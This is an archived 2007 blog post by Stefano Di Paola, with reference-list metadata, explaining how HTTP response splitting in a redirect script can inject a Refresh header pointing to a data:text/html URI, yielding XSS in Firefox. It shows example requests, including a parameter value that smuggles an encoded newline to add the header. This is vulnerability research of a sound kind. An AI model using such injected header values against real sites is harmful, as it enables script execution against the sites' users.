--- type: Article title: Wisec - The WIse SECurity description: "Stefano Di Paola chains HTTP response splitting into a data: URI XSS on Firefox. A redirector vulnerable to splitting is made to emit a Refresh header pointing at data:text/html with script in it, and Firefox executes that script in the redirecting site's context, extending pdp's data: URI concerns and Amit Klein's Refresh header work." resource: "http://www.wisec.it/sectou.php?id=472a5b8d1a4cd" tags: [article, webseclist-reference, wisec-it, response-splitting, header-injection, xss, http, filter-bypass, owasp-a03-2021, owasp-a05-2021] generated: by: webseclist-refs/1 at: "2026-08-16T23:13:04+00:00" status: stable stale_after: 2027-08-16 sources: - id: original resource: "http://www.wisec.it/sectou.php?id=472a5b8d1a4cd" title: Wisec - The WIse SECurity author: Stefano Di Paola also_at: [] authors: - Stefano Di Paola canonical_url: "" cited_by: - "2007.md:50" commit: "" content_sha256: 65250dca8ff4914188140ea5992890f590a9463a8cbd162f7d2221107094660e depth: full depth_reason: default kind: article language: "" licence: unknown original_url: "http://www.wisec.it/sectou.php?id=472a5b8d1a4cd" published: "" publisher: wisec.it publisher_english: "" raw_sha256: d61ae026825da4584153d4b56212e4342f62c3b003293f2e18d8bd6d4d0a903a retrieved_from: "http://www.wisec.it/sectou.php?id=472a5b8d1a4cd" retrieved_kind: stored retrieved_utc: "2026-08-16T23:13:04+00:00" slug: wisec-it-wisec-wise-security-4 snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # Wisec - The WIse SECurity **Wisec - The WIse SECurity** - Stefano Di Paola, wisec.it. - Published: date not stated - Original: - Preserved from: http://www.wisec.it/sectou.php?id=472a5b8d1a4cd (stored) on 2026-08-16 - Licence: unknown Rights remain with the original author and publisher. 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It is [known](http://ha.ckers.org/xss.html) that Meta Http-equiv='Refresh' tag could be exploited to inject javascript using data:. It's also known that Refresh is a Http header and that it has security matters as [clearly explained](http://www.webappsec.org/lists/websecurity/archive/2006-11/msg00003.html) by Amit Klein. By taking all these stuff together, it will result that Http Response Splitting, could be used to inject Refresh: header and directly XSS the redirecting site. Let's suppose there's a redirection on example.com which acts like the following: > GET /redirect.jsp?redir=http:// spamsite. com HTTP/1.0 > > HTTP/1.1 302 Found > Date: Thu, 01 Nov 2007 21:40:23 GMT > Location: [http://](http://) spamsite. com > Transfer-Encoding: chunked > Content-Type: text/html In case this script also suffers from a Http Response Splitting, an attacker could easily inject Refresh: with data: uri. > GET /redirect.jsp?redir=data:blah%0aRefresh:+0%3b+url%3ddata:text/html%3b, HTTP/1.0 > > HTTP/1.1 302 Found > Date: Thu, 01 Nov 2007 21:40:23 GMT > Location: data:blah > Refresh: 0; url=data:text/html;, > Transfer-Encoding: chunked > Content-Type: text/html Firefox will happily execute it in the context of the redirector. *No comments yet.* **Comments are disabled** [Admin login](http://www.wisec.it/sectou.php?login) | This weblog is from [www.mylittlehomepage.net](http://www.mylittlehomepage.net/) # Wisec is brought to you by... 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